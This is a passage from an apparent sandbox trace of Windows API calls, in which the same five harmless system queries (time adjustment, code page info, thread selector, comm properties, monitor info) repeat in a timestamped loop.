lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.537] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.538] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.538] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.538] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.538] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.538] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.538] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.538] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.538] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.538] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.538] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.538] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.538] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.538] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.538] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.538] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.538] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.538] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.538] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.538] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.538] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.538] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.538] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.538] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.538] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.539] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.539] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.539] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.539] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.539] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.539] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.539] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.539] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.539] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.539] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.539] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.539] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.539] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.539] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.539] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.539] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.539] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.539] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.539] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.539] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.539] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.539] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.539] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.539] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.539] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.540] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.540] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.540] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.540] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.540] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.540] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.540] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.540] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.540] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.540] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.540] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.540] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.540] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.540] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.540] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.540] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.540] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.540] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.540] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.540] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.540] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.540] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.540] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.540] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.540] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.541] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.541] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.541] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.541] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.541] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.541] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.541] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.541] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.541] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.541] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.541] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.541] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.541] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.541] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.541] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.541] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.541] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.541] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.541] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.541] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.541] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.541] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.541] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.541] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.541] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.542] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.542] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.542] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.542] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.542] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.542] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.542] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.542] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.542] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.542] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.542] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.542] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.542] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.542] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.542] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.542] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.542] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.542] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.542] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.542] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.542] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.542] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.542] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.542] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.542] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.543] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.543] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.543] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.543] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.543] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.543] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.543] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.543] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.543] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.543] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.543] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.543] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.543] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.543] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.543] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.543] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.543] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.543] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.543] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.543] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.543] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.543] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.543] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.543] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.543] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.544] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.544] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.544] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.544] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.544] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.544] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.544] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.544] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.544] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.544] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.544] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.544] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.544] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.544] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.544] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.544] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.544] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.544] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.544] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.544] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.544] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.555] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.555] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.555] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.555] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.555] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.555] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.555] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.556] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.556] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.556] GetCPInfo (in: CodePage=0x0, 